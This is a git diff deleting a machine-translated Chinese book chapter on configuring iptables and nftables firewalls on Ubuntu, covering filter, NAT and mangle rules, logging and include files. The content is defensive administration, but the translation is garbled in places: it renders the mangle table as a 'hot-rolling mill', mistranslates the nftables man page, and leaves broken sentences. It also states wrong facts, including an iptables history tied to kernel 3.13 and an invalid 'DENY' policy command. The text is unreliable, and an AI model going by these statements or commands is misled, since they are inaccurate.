-在本章中,我们将涵盖以下主题: - -* 配置 iptables -* 配置 nftables - -# 技术要求 - -为了遵循本章中的例子,我们将继续在现有的 Ubuntu 主机或虚拟机上进行构建。 在这一章中,我们将重点关注 Linux 防火墙,因此第二台主机可能会方便地测试您的防火墙更改。 - -当我们通过各种防火墙配置工作时,我们将只使用两个主要的 Linux 命令: - -![](img/Table_01.jpg) - -# 配置 iptables - -在撰写本文时(2021 年),我们正在防火墙架构上不断变化。 iptables 仍然是许多发行版的默认主机防火墙,包括我们的 Ubuntu 发行版。 然而,业界已经开始转向一种新的架构,nftables (Netfilter)。 例如,Red Hat 和 CentOS v8(在 Linux 内核 4.18 上)将 nftables 作为它们的默认防火墙。 仅供参考,当 iptables 在内核 3.13 版本中引入时(大约在 2014 年),它转而取代了`ipchains`包(在 1999 年内核 2.2 版本中引入)。 迁移到新命令的主要原因是要迁移到更一致的命令集,提供对 IPv6 的更好支持,并使用 api 为配置操作提供更好的编程支持。 - -虽然 nftables 架构确实有一些优势(我们将在本章中介绍),但目前的 iptables 方法有几十年的惯性。 整个自动化框架和产品都基于 iptables。 一旦我们了解了语法,您就会发现这看起来是可行的,但请记住,Linux 主机的使用寿命通常长达几十年——想想收银机、医疗设备、电梯控制器或与 plc 等制造设备一起工作的主机。 在许多情况下,这些长期存在的主机可能不会被配置为自动更新,因此根据组织类型,在任何时候,您都可以轻松地期望使用具有 5、10 或 15 年前完整 OS 版本的主机。 此外,由于这些设备的性质,即使它们连接到网络,它们也可能不会被列为“计算机”。 这意味着,尽管在任何特定发行版的新版本上,默认防火墙从 iptables 迁移到 nftables 的过程可能会很快,但在未来的许多年里,仍会有许多遗留主机将运行 iptables。 - -现在我们知道了 iptables 和 nftables 是什么,让我们开始配置它们,从 iptables 开始。 - -## iptables 从高水平 - -表是一个 Linux 防火墙应用,在大多数现代发行版中由默认安装。 如果启用它,它将管理所有进出主机的流量。 正如您在 Linux 上所期望的那样,防火墙配置在一个文本文件中,它被组织到表中,表由称为**链的规则集**组成。 - -当数据包匹配规则时,规则结果将成为目标。 目标可以是另一个链,也可以是以下三个主要操作之一: - -* **Accept**:表示报文通过。 -* **Drop**:丢包; 它没有通过。 -* **Return**:停止数据包遍历该链; 告诉它回到上一个链。 - -其中一个默认表是,称为**filter**。 这个表有三个默认链: - -* **Input**:控制进入主机的报文 -* **Forward**:处理入方向转发到其他地方的报文 -* **Output**:处理离开主机的报文 - -另外两个默认的表是**NAT**和**Mangle**。 - -与使用新命令时一样,请查看 iptables 手册页面,并快速查看 iptables 帮助文本。 为了便于阅读,可以使用`iptables -- help | less`通过`less`命令运行帮助文本。 - -缺省情况下,没有配置 iptables。 我们可以从`iptables –L -v`(for "list")中看到,三个默认链中都没有规则: - -```sh -robv@ubuntu:~$ sudo iptables -L -v -Chain INPUT (policy ACCEPT 254 packets, 43091 bytes) - pkts bytes target prot opt in out source destination -Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination -Chain OUTPUT (policy ACCEPT 146 packets, 18148 bytes) - pkts bytes target prot opt in out source destination -``` - -我们可以看到服务正在运行,但是`INPUT`和`OUTPUT`链上的数据包和字节是非零的,并且在增加。 - -为了向链中添加规则,我们使用`-A`参数。 这个命令可以有几个参数。 常用参数如下: - -![](img/Table_02.jpg) - -例如,这两条规则允许来自网络`1.2.3.0/24`的主机连接到我们主机上的`tcp/22`端口,并且允许任何东西连接到`tcp/443`: - -```sh -sudo iptables -A INPUT -i ens33 -p tcp -s 1.2.3.0/24 --dport 22 -j ACCEPT -sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT -``` - -端口`tcp/22`是 SSH 服务,`tcp/443`是 HTTPS 服务,但是如果您选择在这两个端口上运行其他服务,那么没有什么可以阻止您。 当然,如果在这些端口上没有运行任何东西,那么这些规则就没有意义了。 - -执行后,让我们再次查看规则集。 我们将使用`- -line-numbers`添加行号,并使用`–n`跳过地址的任何 DNS 解析(用于数字): - -```sh -robv@ubuntu:~$ sudo iptables -L -n -v --line-numbers -Chain INPUT (policy ACCEPT 78 packets, 6260 bytes) -num pkts bytes target prot opt in out source destination -1 0 0 ACCEPT tcp -- ens33 * 1.2.3.0/24 0.0.0.0/0 tcp dpt:22 -2 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:443 -Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) -num pkts bytes target prot opt in out source destination -Chain OUTPUT (policy ACCEPT 56 packets, 6800 bytes) -num pkts bytes target prot opt in out source destination -``` - -规则列表是按从上到下的顺序处理的,因此,例如,如果您想要拒绝对一台主机的`https`服务器的访问,而允许对其他服务器的访问,那么您可以在`INPUT`说明符中添加一个行号。 注意,我们在下面代码块的第二个命令中修改了`List`语法——我们只指定了`INPUT`规则,还指定了`filter`表(如果不指定任何内容,则为默认值): - -```sh -sudo iptables -I INPUT 2 -i ens33 -p tcp -s 1.2.3.5 --dport 443 -j DROP -robv@ubuntu:~$ sudo iptables -t filter -L INPUT --line-numbers -Chain INPUT (policy ACCEPT) -num target prot opt source destination -1 ACCEPT tcp -- 1.2.3.0/24 anywhere tcp dpt:ssh -2 DROP tcp -- 1.2.3.5 anywhere tcp dpt:https -3 ACCEPT tcp -- anywhere anywhere tcp dpt:https -``` - -在前面的示例中,我们使用`–I`参数在链中的特定位置插入规则。 但是,如果您计划好了一些事情并按顺序构建规则集,您可能会发现使用`–A`(append)参数更容易,它将规则添加到列表的底部。 - -在源文件中,您可以定义主机而不是子网,可以只定义 IP 地址(不带掩码),也可以定义一系列地址,例如`--src-range 192.168.122.10-192.168.122.20`。 - -这个概念可以用来保护在服务器上运行的特定服务。 例如,您通常希望将允许管理访问(例如 SSH)的端口的访问限制为只允许该主机的管理员访问,但允许更广泛地访问主机上的主应用(例如 HTTPS)。 假设服务器的管理员在`1.2.3.0/24`子网中,我们刚刚定义的规则就是一个开始。 然而,我们忽略的是阻止人们从其他子网连接到 SSH 的“拒绝”: - -```sh -sudo iptables -I INPUT 2 -i ens33 -p tcp --dport 22 -j DROP -``` - -这些规则很快就会变得复杂起来。 最好养成将协议规则“分组”在一起的习惯。 在我们的示例中,我们保持 SSH 彼此相邻并按逻辑顺序排列,HTTPS 规则也是如此。 你会希望每个协议/端口的默认操作是在每个组的最后,除了前面的例外: - -```sh -sudo iptables –L -Chain INPUT (policy ACCEPT) -num target prot opt source destination -1 ACCEPT tcp -- 1.2.3.0/24 anywhere tcp dpt:ssh -2 DROP tcp -- anywhere anywhere tcp dpt:ssh -3 DROP tcp -- 1.2.3.5 anywhere tcp dpt:https -4 ACCEPT tcp -- anywhere anywhere tcp dpt:https -``` - -由于规则是按顺序处理的,出于性能原因,您将希望将最常“命中”的规则放在列表的顶部。 所以,在我们的例子中,我们可能把规则放反了。 在许多服务器上,您可能宁愿将应用端口(在本例中为`tcp/443`)放在列表的顶部,而将管理权限(通常会看到较小的流量流量)放在列表的底部。 - -要按编号删除特定的规则(例如,如果有`INPUT`规则 5),使用以下命令: - -```sh -sudo iptables –D INPUT 5 -``` - -因为在本书中,网络管理员应该关注安全性,所以请记住,限制使用 iptables 的流量只是整个过程的前半部分。 除非启用 iptables 日志,否则我们无法回顾过去发生的事情。 将`-j LOG`添加到规则中,记录该规则的日志。 除了只记录日志之外,我们还可以使用`- -log-level`参数添加一个日志级别,使用`- -log-prefix 'text goes here'`添加一些描述性文本。 你能从中得到什么呢? - -* 记录允许的 SSH 会话使我们能够跟踪可能正在对我们主机上的管理服务进行端口扫描的人。 -* 记录被阻止的 SSH 会话,跟踪试图从非管理子网连接到管理服务的用户。 -* 记录成功和失败的 HTTPS 连接允许我们在排除故障时将 web 服务器日志与本地防火墙日志关联起来。 - -要只记录一切,使用以下: - -```sh -sudo iptables –A INPUT –j LOG -``` - -要只记录来自一个子网的流量,使用以下方法: - -```sh -sudo iptables –A input –s 192.168.122.0/24 –j LOG -``` - -要添加日志级别和一些描述性文本,请使用以下方法: - -```sh -sudo iptables -A INPUT –s 192.168.122.0/24 –j LOG - -log-level 3 –log-prefix '*SUSPECT Traffic Rule 9*' -``` - -日志去哪里了? 在 Ubuntu(我们的示例操作系统)中,它们被添加到`/var/log/kern.log`中。 在 Red Hat 或 Fedora 中,请参见`/var/log/messages`。 - -我们还应该考虑做什么? 就像信息技术中的其他东西一样,如果您可以构建一个东西并让它本身有文档,那么通常可以省去编写单独的文档(通常在完成后几天就过时了)。 要添加注释,只需将`–m comment - -comment "Comment Text Here"`添加到任何规则。 - -因此,对于我们的小型四规则防火墙表,我们将为每个规则添加注释: - -```sh -sudo iptables -A INPUT -i ens33 -p tcp -s 1.2.3.0/24 --dport 22 -j ACCEPT -m comment --comment "Permit Admin" -sudo iptables -A INPUT -i ens33 -p tcp --dport 22 -j DROP -m comment --comment "Block Admin" -sudo iptables -I INPUT 2 -i ens33 -p tcp -s 1.2.3.5 --dport 443 -j DROP -m comment --comment "Block inbound Web" -sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT -m comment --comment "Permit all Web Access" -sudo iptables -L INPUT -Chain INPUT (policy ACCEPT) -target prot opt source destination -ACCEPT tcp -- 1.2.3.0/24 anywhere tcp dpt:ssh /* Permit Admin */ -DROP tcp -- anywhere anywhere tcp dpt:ssh /* Block Admin */ -DROP tcp -- 1.2.3.5 anywhere tcp dpt:https /* Block inbound Web */ -ACCEPT tcp -- anywhere anywhere tcp dpt:https /* Permit all Web Access */ -``` - -关于 iptables 规则的最后一点提示:有一个默认规则,它是链中的最后一个条目,称为`default policy`。 默认值为`ACCEPT`,因此如果一个包一直到达列表的底部,它将被接受。 如果您计划拒绝一些流量,然后允许其余的流量,这是通常期望的行为——例如,如果您正在保护一个“大多数公共”服务,如大多数 web 服务器。 - -但是,如果期望的行为是允许一些流量,然后拒绝其余流量,您可能需要将该默认策略更改为`DENY`。 要对`INPUT`链进行此更改,请使用`iptables –P INPUT DENY`命令。 **在您考虑进行此更改之前,有一个重要的警告**:如果您是远程连接(例如通过 SSH),在您的规则集完成之前不要进行此更改。 如果您在制定至少允许自己会话的规则之前进行此更改,那么您将阻塞当前会话(以及任何后续的远程访问)。 这就是“不要砍掉你所坐的树枝”的警告。 正是在这种情况下,默认策略的默认设置为`ACCEPT`。 - -但是,您总是可以添加一个最终规则,允许所有或拒绝所有来覆盖缺省策略(不管它是什么)。 - -现在我们已经有了一个基本的规则集,就像很多东西一样,您需要记住这个规则集不是永久的——它只是在内存中运行,所以在系统重新启动时它不会存在。 您可以使用`iptables-save`命令轻松地保存规则。 如果在配置中出现了错误,并且希望在不重新加载的情况下恢复到已保存的表,那么总是可以使用`iptables-restore`命令。 虽然这些命令在 Ubuntu 发行版中是默认安装的,但是您可能需要安装一个包来将它们添加到其他发行版中。 例如,在基于 debian 的发行版中,检查或安装`iptables-persistent`包,或者在基于 Red hat 的发行版中,检查或安装`iptables-services`包。 - -现在我们对基本的 permit 和 deny 规则有了严格的处理,让我们研究一下**网络地址转换**(**NAT**)表。 - -## NAT 表 - -NAT 用于转换来自(或前往)一个 IP 地址或子网的流量,并使其显示为另一个 IP 地址或子网。 - -这可能是最常见的 internet 网关或防火墙,其中“内部”地址在一个或多个 RFC1918 范围内,而“外部”接口连接到整个 internet。 在本例中,内部子网将被转换为可路由的 internet 地址。 在许多情况下,所有的内部地址都将映射到一个单一的“外部”地址,即网关主机的外部 IP。 在这个例子中,这是通过映射每个元组”(源 IP、源端口、目的 IP,目的港,和协议)到一个新的元组,在源 IP 现在是一个可路由的 IP 之外,和源端口只是下一个免费的源端口和协议(目的地值保持不变)。 - -防火墙在内存中的“NAT 表”中保持这个从内部元组到外部元组的映射。 当返回的流量到达时,它使用这个表将流量映射回真实的内部源 IP 和端口。 如果某一 NAT 表项是针对某一 TCP 会话的,则 TCP 会话拆除过程会移除该 NAT 表项的映射。 如果一个特定的 NAT 表项是针对 UDP 流量的,该表项通常在一段时间不活跃后被删除。 - -这看起来像真的吗? 让我们用一个内部网络的例子`192.168.10.0/24`和一个 NET 配置,其中所有内部主机都有这个“过载 NAT”配置,所有使用网关主机的外部接口: - -![Figure 4.1 – Linux as a perimeter firewall ](img/B16336_04_001.jpg) - -图 4.1 - Linux 作为外围防火墙 - -让我们说得更具体一点。 我们将添加一个主机`192.168.10.10`,该主机向`8.8.8.8`发出 DNS 查询: - -![Figure 4.2 – Perimeter firewall example, showing NAT and state (session tracking or mapping) ](img/B16336_04_002.jpg) - -图 4.2 -周界防火墙示例,显示 NAT 和状态(会话跟踪或映射) - -那么,使用这个例子,我们的配置是什么样子的? 它就像下面这样简单: - -```sh -iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE -``` - -这告诉网关主机使用`eth1`的 IP 地址伪装所有离开接口`eth1`的流量。 `POSTROUTING`关键字告诉它使用`POSTROUTING`链,这意味着这个`MASQERADE`操作在包路由之后发生。 - -当我们开始引入加密时,操作是在路由之前还是路由之后开始产生更大的影响。 例如,如果我们在 NAT 操作之前或之后加密流量,这可能意味着流量在一个实例中加密,但在另一个实例中不加密。 因此,在这种情况下,出站 NAT 将是相同的前或后路由。 开始定义顺序是一个好主意,这样就不会产生混淆。 - -有数百种变体,但在这一点上最重要的是你已经掌握了 NAT 如何工作的基础知识(特别是映射过程)。 让我们离开的 NAT 示例,看看 mangle 表是如何工作的。 - -## 热轧台 - -mangle 表用于手动调整 IP 数据包中的值,因为它通过我们的 Linux 主机。 让我们考虑一个简单的例子,用我们的防火墙前一节的例子,如果互联网上行接口`eth1`使用**数字用户线(DSL**【显示】)服务或卫星链接吗? 这两种技术都不能处理标准以太网`1500`字节数据包。 例如,DSL 链路通常有一些封装开销,而卫星链路只是使用较小的包(以便任何单包错误影响较小的流量)。**** - - **“没问题,”你说。 “当会话启动时,会有一个完整的 MTU“发现”过程,在这个过程中,通信的两台主机会计算出双方之间最大的数据包可能是多少。” 然而,特别是在较旧的应用或特定的 Windows 服务中,这个过程会中断。 另一件可能导致这种情况的事情是,如果运营商网络由于某些原因阻塞了 ICMP。 这可能看起来像是一个极端的特殊情况,但在实践中,它出现得相当频繁。 特别是在使用遗留协议时,经常会看到这个 MTU 发现过程中断。 在这种情况下,热轧机是你的朋友! - -这个例子告诉 mangle 表“当你看到一个`SYN`数据包,调整**最大段大小**(**MSS**)到一些更低的数字(我们在这个例子中使用`1412`): - -```sh -iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1412 -``` - -如果你真的在计算构型,你如何得到这个“更小的数字”? 如果 ICMP 正在通过,可以使用以下方法: - -```sh -ping –M do –s 1400 8.8.8.8 -``` - -这告诉`ping`,“不要对数据包进行分片; 发送一个以`8.8.8.8`为目的地的`1400`字节大小的数据包。 - -通常情况下,要想找到“真正的”大小,就需要进行“捕猎-啄”的过程。 请记住,在这个大小中包含了 28 个字节的包头。 - -或者如果 ICMP 不能工作,您可以使用`nping`(来自我们的 NMAP 部分)。 在这里,我们告诉`nping`使用 TCP,端口`53`,**不片段**(**df**),`mtu`值为`1400`,只持续 1 秒: - -```sh -$ sudo nping --tcp -p 53 -df --mtu 1400 -c 1 8.8.8.8 -Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2021-04-22 10:04 PDT -Warning: fragmentation (mtu=1400) requested but the payload is too small already (20) -SENT (0.0336s) TCP 192.168.122.113:62878 > 8.8.8.8:53 S ttl=64 id=35812 iplen=40 seq=255636697 win=1480 -RCVD (0.0451s) TCP 8.8.8.8:53 > 192.168.122.113:62878 SA ttl=121 id=42931 iplen=44 seq=1480320161 win=65535 -``` - -在这两种情况下(`ping`和`nping`),你在寻找工作的人数最多(`nping`的情况下,将最多,你还看到`RCVD`包)确定帮助 MSS 数量。 - -从这个示例中可以看到,mangle 表很少被使用。 通常你插入或删除特定位包——例如,你可以通过交通类型,设置**的服务类型**(**TOS)或**差异化服务领域 CodePoint**(【显示】**DSCP)包位, 告诉上游承运人特定的流量可能需要什么样的服务质量。**** - - **既然我们已经介绍了 iptables 中的一些默认表,那么让我们讨论为什么在构建复杂的表时保持操作顺序是至关重要的。 - -## iptables 中的操作顺序 - -在讨论了一些主要 iptables 之后,为什么操作的顺序很重要? 我们已经讨论了一个实例——如果您使用 IPSEC 加密流量,通常会有一个“匹配列表”来定义要加密的流量。 通常,在 NAT 表处理流量之前,您希望它匹配流量。 - -类似地,您可能正在执行基于策略的路由。 例如,您可能希望根据源、目的地和协议匹配流量,并且,例如,在每包成本较低的链路上转发备份流量,在速度和延迟特性较好的链路上转发常规流量。 你通常也想在 NAT 之前做这个决定。 - -有几个图可用来计算出 iptables 操作以何种顺序发生。 我通常指的是由*Phil Hagen*在[https://stuffphilwrites.com/wp-content/uploads/2014/09/FW-IDS-iptables-Flowchart-v2019-04-30-1.png](https://stuffphilwrites.com/wp-content/uploads/2014/09/FW-IDS-iptables-Flowchart-v2019-04-30-1.png)中维护的一个: - -![Figure 4.3 – Order of operation in iptables ](img/B16336_04_003.jpg) - -图 4.3 - iptables 中的操作顺序 - -如您所见,配置、处理,特别是调试 iptables 配置可能会变得极其复杂。 在本章中,我们将重点关注输入表,特别是用于限制或允许对主机上运行的服务的访问。 当我们继续讨论在 Linux 上运行的各种服务时,您应该能够使用这些知识来了解在您的环境中哪些地方可以使用输入规则来保护服务。 - -有了 iptables,你下一步可以去哪里? 与往常一样,再次查看手册页—大约有 100 页的语法和示例,如果您想深入了解这个特性,iptables 手册页是一个很好的参考资料。 例如,正如我们所讨论的,您可以只使用 iptables 和一些静态路由就可以将 Linux 主机作为路由器或基于 nat 的防火墙运行。 但是,这些不是普通数据中心的普通用例。 在 Linux 主机上运行这样的特性是很常见的,但在大多数情况下,您会看到这些特性在预先打包的 Linux 发行版上执行,比如 VyOS 发行版或路由器的 FRR/Zebra 包,或者 pfSense 或 OPNsense 防火墙发行版。 - -掌握了 iptables 的基础知识之后,让我们来处理 nftables 防火墙的配置。 - -# 配置 nftables - -正如我们在本章开头的中所讨论的,iptables 在 Linux 中正在被弃用并最终退役,取而代之的是 nftables。 考虑到这一点,使用 nftable 有什么好处? - -部署 nftables 规则比部署 iptables 要快得多——在底层,iptables 在添加每条规则时修改内核。 这在 nftables 中不会发生。 与此相关,nftables 也有一个 API。 这使得使用编制或“网络即代码”工具进行配置更加容易。 这些工具包括 Terraform、Ansible、Puppet、Chef 和 Salt 等应用。 这使得系统管理员可以更容易地自动化主机的部署,因此可以在几分钟内将一个新的虚拟机部署到私有或公共云中,而不是在几小时内。 更重要的是,可能涉及多个主机的应用可以并行部署。 - -nftables 在 Linux 内核中的运行效率也高得多,因此对于任何给定的规则集,您都可以指望 nftables 占用更少的 CPU。 对于只有 4 条规则的规则集来说,这似乎不是什么大问题,但如果您有 40 条、400 条或 4000 条规则,或在 400 个虚拟机上有 40 条规则,这可能会很快增加! - -nftables 对所有操作使用单一命令`nft`。 虽然为了兼容性可以使用 iptables 语法,但您将发现没有预定义的表或链,更重要的是,您可以在一个规则中进行多个操作。 我们还没有过多地讨论 IPv6,但是 iptables 本身并不能处理 IPv6(您需要为此安装一个新的包:ip6tables)。 - -在介绍了基础知识之后,让我们深入了解命令行和使用`nft`命令配置 nftables 防火墙的细节。 - -## nftables 基本配置 - -此时,查看 nftables 的手册页可能是明智的。 另外,查看主 nftables 命令`nft`的手册页。 本手册甚至比 iptables 更冗长和复杂; 它有 600 多页长。 - -记住这一点,让我们部署与为 iptables 所做的相同的示例配置。 到目前为止,在大多数数据中心中最常见的 Linux 防火墙是使用直接的`INPUT`防火墙来保护主机。 - -首先,确保记录现有的 iptables 和 ip6tables 规则(`iptables –L`和`ip6tables –L`),然后清除这两个规则(使用`–F`选项)。 仅仅因为您可以同时运行 iptables 和 nftables,并不意味着这样做是一个好主意。 想想下一个管理这个主机的人; 他们会看到一个或另一个防火墙,并认为这是所有部署。 为下一个将继承您正在处理的主机的人配置东西总是明智的! - -如果您有一个现有的 iptables 规则集,特别是如果它是一个复杂的规则集,那么`iptables-translate`命令将把几个小时的工作变成几分钟的工作: - -```sh -robv@ubuntu:~$ iptables-translate -A INPUT -i ens33 -p tcp -s 1.2.3.0/24 --dport 22 -j ACCEPT -m comment --comment "Permit Admin" -nft add rule ip filter INPUT iifname "ens33" ip saddr 1.2.3.0/24 tcp dport 22 counter accept comment \"Permit Admin\" -``` - -使用这种语法,我们的 iptables 规则变成了一组非常类似的 nftables 规则: - -```sh -sudo nft add table filter -sudo nft add chain filter INPUT -sudo nft add rule ip filter INPUT iifname "ens33" ip saddr 1.2.3.0/24 tcp dport 22 counter accept comment \"Permit Admin\" -sudo nft add rule ip filter INPUT iifname "ens33" tcp dport 22 counter drop comment \"Block Admin\" -sudo nft add rule ip filter INPUT iifname "ens33" ip saddr 1.2.3.5 tcp dport 443 counter drop comment \"Block inbound Web\" -sudo nft add rule ip filter INPUT tcp dport 443 counter accept comment \"Permit all Web Access\" -``` - -注意,在添加规则之前,我们首先创建了一个表和一个链。 现在列出我们的规则集: - -```sh -sudo nft list ruleset -table ip filter { - chain INPUT { - iifname "ens33" ip saddr 1.2.3.0/24 tcp dport 22 counter packets 0 bytes 0 accept comment "Permit Admin" - iifname "ens33" tcp dport 22 counter packets 0 bytes 0 drop comment "Block Admin" - iifname "ens33" ip saddr 1.2.3.5 tcp dport 443 counter packets 0 bytes 0 drop comment "Block inbound Web" - tcp dport 443 counter packets 0 bytes 0 accept comment "Permit all Web Access" - } -} -``` - -正如在许多 Linux 网络结构中一样,nftables 规则在这一点上并不是持久的; 它们只会存在到下一次系统重新加载(或服务重新启动)。 默认的`nftools`规则集位于`/etc/nftools.conf`中。 您可以将新规则添加到该文件中,从而使其持久存在。 - -特别是在服务器配置中,更新`nftools.conf`文件可能会导致非常复杂的构造。 通过将`nft`配置分解为逻辑部分并将其分解为`include`文件,可以大大简化这一过程。 - -## 使用包含文件 - -你还能做什么? 您可以设置一个“案例”结构,分段您的防火墙规则,以匹配您的网段: - -```sh -nft add rule ip Firewall Forward ip daddr vmap {\ - 192.168.21.1-192.168.21.254 : jump chain-pci21, \ - 192.168.22.1-192.168.22.254 : jump chain-servervlan, \ - 192.168.23.1-192.168.23.254 : jump chain-desktopvlan23 \ -} -``` - -在这里,定义的三个链有它们自己的入站规则或出站规则集。 - -可以看到,每个规则都是一个`match`子句,然后它将匹配的流量跳转到管理子网的规则集。 - -您可以使用`include`语句以一种逻辑方式分离语句,而不是生成一个单一的单片 nftables 文件。 例如,这允许您为所有 web 服务器、SSH 服务器或任何其他服务器或服务类维护一个规则文件,从而最终得到许多标准`include`文件。 这些文件可以根据需要包含在每台主机的主文件中,按照逻辑顺序: - -```sh -# webserver ruleset -Include "ipv4-ipv6-webserver-rules.nft" -# admin access restricted to admin VLAN only -Include "ssh-admin-vlan-access-only.nft" -``` - -或者,你可以让规则越来越复杂——,你有规则基于 IP 报头等领域**差异化服务代码点**(**DSCP**),是在六位包用于确定或执行【显示】的服务质量(**QOS), 特别是对于视频数据包的语音。 您还可能决定在路由之前或路由之后应用防火墙规则(如果您正在进行 IPSEC 加密,这真的很有帮助)。** - -## 删除防火墙配置 - -在我们继续下一章之前,我们应该删除我们的防火墙配置示例,使用以下两个命令: - -```sh -$ # first remove the iptables INPUT and FORWARD tables -$ sudo iptables -F INPUT -$ sudo iptables -F FORWARD -$ # next this command will flush the entire nft ruleset -$ sudo nft flush ruleset -``` - -# 总结 - -虽然许多发行版仍然将 iptables 作为其默认防火墙,但随着时间的推移,我们可以期待看到这种情况转变为新的 nftables 架构。 需要几年完成这种转变之前,甚至那么奇怪的会弹出一个“惊喜”,当你发现你没有在你的主机库存,或设备,你没有意识到基于 linux 的计算机——**物联网**(**物联网)设备如恒温器、时钟,或电梯控制。 本章让我们从这两种架构开始。** - -nftables 的手册页大约有 150 页,iptables 的手册页大约有 20 页,这些文档基本上是一本独立的书。 我们只接触了工具的表面,但是在现代数据中心中,在每个主机上定义一个入口过滤器是您将看到的 nftables 的最常见用途。 然而,当您研究数据中心的安全需求时,出站和传输规则肯定会在您的策略中占有一席之地。 我希望这次讨论是你旅途上一个好的开始! - -如果你发现我们在这一章中讨论的任何概念都不清楚,现在是复习它们的好时机。 在下一章中,我们将讨论 Linux 服务器和服务的整体加固方法——Linux 防火墙,当然,是这个讨论的关键部分! - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 如果您要开始一个新的防火墙策略,您会选择哪个方法? -2. 如何实现防火墙的中央标准? - -# 进一步阅读 - -* iptables 手册页:[https://linux.die.net/man/8/iptables](https://https://linux.die.net/man/8/iptables%0D) -* iptables processing flowchart (Phil Hagen): - - [https://stuffphilwrites.com/2014/09/iptables-processing-flowchart/](https://stuffphilwrites.com/2014/09/iptables-processing-flowchart/) - - [https://stuffphilwrites.com/wp-content/uploads/2014/09/FW-IDS-iptables-Flowchart-v2019-04-30-1.png](https://stuffphilwrites.com/wp-content/uploads/2014/09/FW-IDS-iptables-Flowchart-v2019-04-30-1.png) - -* 非功能性文档手册页:[https://www.netfilter.org/projects/nftables/manpage.html](https://https://www.netfilter.org/projects/nftables/manpage.html%0D) -* nftables wiki:[https://wiki.nftables.org/wiki-nftables/index.php/Main_Page](https://https://wiki.nftables.org/wiki-nftables/index.php/Main_Page%0D) -* *nftables in 10 minutes*:[https://wiki.nftables.org/wiki-nftables/index.php/Quick_reference-nftables_in_10_minutes](https://https://wiki.nftables.org/wiki-nftables/index.php/Quick_reference-nftables_in_10_minutes)**** \ No newline at end of file diff --git a/docs/linux-net-prof/05.md b/docs/linux-net-prof/05.md deleted file mode 100644 index ec4314a2..00000000 --- a/docs/linux-net-prof/05.md +++ /dev/null @@ -1,800 +0,0 @@ -# 五、Linux 安全标准与现实生活中的例子 - -在本章中,我们将探讨为什么 Linux 主机,像其他主机一样,在初始安装之后——事实上,在它们的整个生命周期中——需要小心谨慎,以进一步保护它们。 在此过程中,我们将讨论各种主题,以构建保护您的 Linux 主机的最终“大图”。 - -本章将讨论下列主题: - -* 为什么我需要保护我的 Linux 主机? -* 特定于云的安全注意事项 -* 通常遇到特定于行业的安全标准 -* 互联网安全中心的关键控制 -* 互联网安全中心的基准 -* SELinux and AppArmor - -# 技术要求 - -在本章中,我们将涵盖许多主题,但技术细节将集中于使用当前的 Linux 主机或虚拟机加固 SSH 服务。 正如在上一章中所述,您可能会发现第二台主机对您的更改进行测试很有用,但在示例中没有必要这样做。 - -# 为什么需要保护我的 Linux 主机? - -与几乎所有其他操作系统一样,Linux 的安装是流线化的,以使安装更容易,在安装期间和之后尽可能少地出现故障。 正如我们在前面的章节中看到的,这通常意味着不启用防火墙的安装。 此外,操作系统版本和软件包版本当然会匹配安装介质,而不是每一个的最新版本。 在这一章中,我们将讨论 Linux 中的默认设置为何常常没有被设置为大多数人认为是安全的,以及作为一个行业,我们如何通过立法、法规和建议来纠正这种情况。 - -至于初始安装已经过时,幸运的是,大多数 Linux 发行版都启用了自动更新进程。 这由`/etc/apt/apt.conf.d/20auto-upgrades`文件中的两行代码控制: - -```sh -APT::Periodic::Update-Package-Lists "1"; -APT::Periodic::Unattended-Upgrade "1"; -``` - -两个设置默认都被设置为`1`(启用)。 这几行是不言自明的——第一行决定是否更新包列表,第二行打开或关闭真正的自动更新。 对于可能采用“巡航控制”管理方法的桌面或服务器来说,这个默认设置并不坏。 但是请注意,`Unattended-Upgrade`行只启用安全更新。 - -在大多数管理良好的环境中,而不是在无人参与的升级中,您会期望看到预定的维护窗口,即升级和测试首先在不太重要的服务器上进行,然后再部署到更重要的主机上。 在这些情况下,您需要将自动更新设置设置为`0`,并使用手动或脚本化的更新过程。 对于 Ubuntu,手动更新过程包括两个命令,执行顺序如下: - -![](img/B16336_05_Table_01.jpg) - -这些可以合并在一行中(请参阅下一行代码),但在升级步骤期间,您将有几个“Yes/No”提示需要回答——首先,批准整个过程和数据量。 另外,如果你的任何包在不同版本之间改变了它们的默认行为,你将被要求做出决定: - -```sh -# sudo apt-get update && sudo apt-get upgrade -``` - -`&&`操作符依次执行命令。 只有在第一个命令成功完成时(返回码为 0),第二个命令才会执行。 - -但是等等,你会说,我的一些主机是在云端的——那他们呢? 在下一节中,您将发现无论您在何处安装 Linux,它都是 Linux,并且在某些情况下,您的云实例可能没有“在数据中心”服务器模板安全。 不管你的操作系统是什么,或者你部署在哪里,更新都将是你的安全程序的关键部分。 - -# 特定于云的安全考虑 - -如果你在任何主要的云中使用默认映像旋转虚拟机,从安全的角度来看,有几件事需要考虑: - -* 一些云有自动更新功能; 一些不。 然而,每个人对每个操作系统的映像总是有些过时。 在启动 VM 之后,您将需要更新它,就像更新独立主机一样。 -* 大多数云服务映像也有一个主机防火墙,以某种限制性模式启用。 这两个防火墙问题对你来说意味着什么,当你把你的第一个,新的 Linux VM,别指望能够“萍”,直到你有窥主机防火墙配置(记住从最后一章——一定要检查`iptables`和`nftables`)。 -* 许多云服务映像默认情况下允许从公共互联网直接进行远程访问以进行管理访问。 对于 Linux,这意味着 SSH 通过`tcp/22`。 虽然这种访问的默认设置不像早期的各种云服务提供商那样常见,但检查您的 SSH(`tcp/22`)是否对整个互联网开放仍然是明智的。 -* 通常您使用的是云“服务”,而不是实际的服务器实例。 例如,无服务器数据库实例是常见的,在这种情况下,您可以完全访问和控制数据库,但托管数据库的服务器对用户或应用是不可见的。 底层服务器可能专用于您的实例,但更有可能的是,它将在多个组织之间共享。 - -既然我们已经讨论了内部部署和云 Linux 部署之间的一些差异,现在让我们讨论行业之间安全需求的一些差异。 - -# 常见的行业特定安全标准 - -有许多行业特定的指导和监管要求,其中一些即使您不在该行业,您也可能熟悉。 